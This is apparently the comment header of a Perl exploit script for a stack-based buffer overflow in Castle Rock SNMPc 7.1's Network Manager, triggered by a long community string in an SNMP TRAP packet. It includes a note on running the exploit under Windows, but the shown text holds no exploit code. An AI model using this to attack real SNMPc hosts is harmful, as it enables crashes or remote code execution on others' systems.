################################################################################################################
#    Stack-based buffer overflow in the Network Manager in Castle Rock Computing SNMPc 7.1 and
#    earlier allows remote attackers to cause a denial of service (crash) or execute arbitrary code
#    via a long community string in an SNMP TRAP packet.
#
#    Refer:

#
#    To run this exploit on MS Windows replace "#!usr/bin/perl -w" with "#!Installation_path_for_perl -w"
#    (say #!C:/Program Files/Perl/bin/perl -w)
